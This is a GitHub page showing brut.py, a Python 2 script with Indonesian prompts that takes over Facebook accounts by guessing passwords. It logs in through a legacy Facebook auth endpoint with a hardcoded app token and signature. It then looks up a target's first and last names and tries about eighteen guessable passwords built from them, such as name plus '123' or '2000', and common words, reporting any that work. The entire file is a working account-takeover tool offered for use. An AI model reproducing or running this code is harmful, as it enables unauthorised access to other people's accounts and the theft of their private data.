forked from Muhamadba/iqbalz_bf
-
Notifications
You must be signed in to change notification settings - Fork 0
/
brut.py
244 lines (211 loc) · 26.3 KB
/
brut.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
import os
import sys
import time
import json
import urllib
import requests
try:
import requests
except ImportError:
os.system("pip2 install requests")
def login():
try:
token = open("token.txt", "r")
except IOError:
print
print "================================"
user_name = raw_input(" Masukkan Username: ")
password = raw_input(" Masukkan Password: ")
print "================================"
urldev = requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email='+user_name+'&locale=en_US&password='+password+'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
dev = urldev.content
jsl = json.loads(dev)
if "session_key" in dev:
print " Login sukses..."
open("token.txt", "w").write(jsl["access_token"])
brutefor()
elif "www.facebook.com" in jsl["error_msg"]:
print " Akun Kena Cekpoint..."
else:
print " Login gagal..."
else:
brutefor()
def brutefor():
try:
token = open("token.txt", "r").read()
except IOError:
os.system("rm -f token.txt")
else:
print
print " ======================================"
target = raw_input(" [#] Masukan ID Target: ")
print " ======================================"
urldev = requests.get('https://graph.facebook.com/' + target + '?access_token=' + token)
jsl = json.loads(urldev.text)
pas1 = jsl["first_name"] + "123"
print " [+] " + pas1
dev = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + target + '&locale=en_US&password=' + pas1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
js = json.load(dev)
if "access_token" in js:
print " Found : " + pas1
elif "www.facebook" in js["error_msg"]:
print " Cekpoint : " + pas1
else:
pas2 = jsl["first_name"] + "12345"
print " [+] " + pas2
dev = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + target + '&locale=en_US&password=' + pas2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
js = json.load(dev)
if "access_token" in js:
print " Found : " + pas2
elif "www.facebook.com" in js["error_msg"]:
print " Cekpoint :" + pas2
else:
san3 = jsl["first_name"] + "321"
print " [+] " + san3
dev = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + target + '&locale=en_US&password=' + san3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
js = json.load(dev)
if "access_token" in js:
print " Found : " + san3
elif "www.facebook.com" in js["error_msg"]:
print " Cekpoint : " + san3
else:
san4 = jsl["first_name"] + "54321"
print " [+] " + san4
dev = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + target + '&locale=en_US&password=' + san4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
js = json.load(dev)
if "access_token" in js:
print " Found : " + san4
elif "www.facebook.com" in js["error_msg"]:
print " Cekpoint : " + san4
else:
san5 = jsl["last_name"] + "123"
print " [+] " + san5
dev = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + target + '&locale=en_US&password=' + san5 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
js = json.load(dev)
if "access_token" in js:
print " Found : " + san5
elif "www.facebook.com" in js["error_msg"]:
print " Cekpoint : " + san5
else:
san6 = jsl["last_name"] + "12345"
print " [+] " + san6
dev = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + target + '&locale=en_US&password=' + san6 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
js = json.load(dev)
if "access_token" in js:
print " Found : " + san6
elif "www.facebook.com" in js["error_msg"]:
print " Cekpoint : " + san6
else:
san7 = jsl["last_name"] + "321"
print " [+] " + san7
dev = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + target + '&locale=en_US&password=' + san7 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
js = json.load(dev)
if "access_token" in js:
print " Found : " + san7
elif "www.facebook.com" in js["error_msg"]:
print " Cekpoint : " + san7
else:
san8 = jsl["last_name"] + "54321"
print " [+] " + san8
dev = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + target + '&locale=en_US&password=' + san8 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
js = json.load(dev)
if "access_token" in js:
print " Found : " + san8
elif "www.facebook.com" in js["error_msg"]:
print " Cekpoint : " + san8
else:
san9 = "sayang"
print " [+] " + san9
dev = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + target + '&locale=en_US&password=' + san9 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
js = json.load(dev)
if "access_token" in js:
print " Found : " + san9
elif "www.facebook.com" in js["error_msg"]:
print " Cekpoint : " + san9
else:
san10 = "doraemon"
print " [+] " + san10
dev = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + target + '&locale=en_US&password=' + san10 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
js = json.load(dev)
if "access_token" in js:
print " Found : " + san10
elif "www.facebook.com" in js["error_msg"]:
print " Cekpoint : " + san10
else:
san11 = "anjing"
print " [+] " + san11
dev = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + target + '&locale=en_US&password=' + san11 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
js = json.load(dev)
if "access_token" in js:
print " Found : " + san11
elif "www.facebook.com" in js["error_msg"]:
print " Cekpoint : " + san11
else:
san12 = "bangsat"
print " [+] " + san12
dev = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + target + '&locale=en_US&password=' + san12 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
js = json.load(dev)
if "access_token" in js:
print " Found : " + san12
elif "www.facebook.com" in js["error_msg"]:
print " Cekpoint : " + san12
else:
san13 = "bismillah"
print " [+] " + san13
dev = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + target + '&locale=en_US&password=' + san13 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
js = json.load(dev)
if "access_token" in js:
print " Found : " + san13
elif "www.facebook.com" in js["error_msg"]:
print " Cekpoint : " + san13
else:
san14 = jsl["first_name"] + "2000"
print " [+] " + san14
dev = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + target + '&locale=en_US&password=' + san14 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
js = json.load(dev)
if "access_token" in js:
print " Found : " + san14
elif "www.facebook.com" in js["error_msg"]:
print " Cekpoint : " + san14
else:
san15 = jsl["first_name"] + "2001"
print " [+] " + san15
dev = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + target + '&locale=en_US&password=' + san15 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
js = json.load(dev)
if "access_token" in js:
print " Found : " + san15
elif "www.facebook.com" in js["error_msg"]:
print " Cekpoint : " + san15
else:
san16 = jsl["first_name"] + "2002"
print " [+] " + san16
dev = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + target + '&locale=en_US&password=' + san16 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
js = json.load(dev)
if "access_token" in js:
print " Found : " + san16
elif "www.facebook.com" in js["error_msg"]:
print " Cekpoint : " + san16
else:
san17 = jsl["first_name"] + "2003"
print " [+] " + san17
dev = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + target + '&locale=en_US&password=' + san17 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
js = json.load(dev)
if "access_token" in js:
print " Found : " + san17
elif "www.facebook.com" in js["error_msg"]:
print " Cekpoint : " + san17
else:
san18 = jsl["first_name"] + "2004"
print " [+] " + san18
dev = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + target + '&locale=en_US&password=' + san18 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
js = json.load(dev)
if "access_token" in js:
print " Found : " + san18
elif "www.facebook.com" in js["error_msg"]:
print " Cekpoint : " + san18
else:
print " [?] Gagalll...... \n "
def main():
login()
if __name__=="__main__":
main()